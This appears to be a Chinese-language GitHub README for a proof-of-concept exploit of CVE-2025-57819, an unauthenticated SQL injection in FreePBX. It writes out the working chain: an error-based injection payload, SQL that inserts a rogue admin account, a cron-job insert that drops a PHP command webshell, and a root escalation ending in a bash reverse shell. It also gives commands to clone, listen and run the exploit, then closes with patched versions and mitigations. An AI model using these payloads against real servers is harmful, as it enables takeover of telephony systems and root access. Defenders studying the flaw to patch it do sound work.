
一个利用 CVE-2025-57819 的 Python 概念验证程序,该漏洞是 FreePBX 中的未认证 SQL 注入,可串联管理员账户创建、cron 定时任务 webshell 部署以及 root 权限提升。
仅供教育与安全研究使用 - 请参阅下方法律声明
针对 CVE-2025-57819 的漏洞利用概念验证,这是 FreePBX 中一个严重的未授权 SQL 注入漏洞,可导致远程代码执行。本 PoC 在官方补丁发布之后发布,仅供安全研究和授权测试使用。
FreePBX 15.x、16.x 和 17.x 版本(低于已修补版本)在 endpoint 模块的 AJAX 处理器中存在未授权 SQL 注入漏洞。该漏洞利用链允许:
| CVE ID | CVE-2025-57819 |
| 类型 | 未授权 SQL 注入(基于错误) |
| CVSS | 9.8 / 10.0(严重) |
| 受影响版本 | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| 已修补版本 | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | 是(2025 年 8 月 29 日) |
GET /admin/ajax.php?brand=<PAYLOAD>
端点模块的 AJAX 处理器中的 brand 参数接受用户输入而未进行验证,导致基于错误的 SQL 注入。
使用 EXTRACTVALUE() 基于错误的提取方式验证 SQLi,以泄露数据库名称:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
将新的管理员用户插入到 asterisk.ampusers 中:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
利用有效的管理员凭据,该漏洞利用程序会向 FreePBX 进行身份验证并建立一个已认证会话。会话 Cookie 会被保存,并用于后续所有已认证请求。
将 webshell 命令注入到 asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
FreePBX cron runner 以 asterisk 用户身份执行该命令,从而植入 PHP webshell。
PHP webshell 被部署到 /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
Exploit 轮询 webshell 直至激活,以 asterisk 用户(uid=999)实现 RCE。
如果目标上配置了 incron:
/var/spool/asterisk/incron/ 中创建触发文件incrond(以 root 运行)检测到文件创建/usr/bin/sysadmin_managersysadmin_manager 验证 GPG 签名并分发到 fwconsole-commands 钩子/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1结果:在反向监听器上获得 root shell(如果 incron 可用)。
brand 参数没有输入验证asterisk.cron_jobs 表以 asterisk 身份执行命令git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| 版本 | 状态 |
|---|---|
| 15.0.0 - 15.0.65 | 存在漏洞 |
| 15.0.66+ | 已修复 |
| 16.0.0 - 16.0.88 | 存在漏洞 |
| 16.0.89+ | 已修复 |
| 17.0.0 - 17.0.2 | 存在漏洞 |
| 17.0.3+ | 已修复 |
立即措施:
/admin/ajax.php 访问systemctl disable incrond永久措施: 升级至已修复版本:15.0.66+、16.0.89+ 或 17.0.3+
⚠️ 免责声明
本概念验证仅供授权的安全测试和教育目的使用。作者对因滥用本工具或由此造成的损害不承担任何责任。
您必须遵守:
禁止用途:
责任豁免: 作者不对以下情况负责:
本漏洞:
JazzTheRabbit
MIT 许可证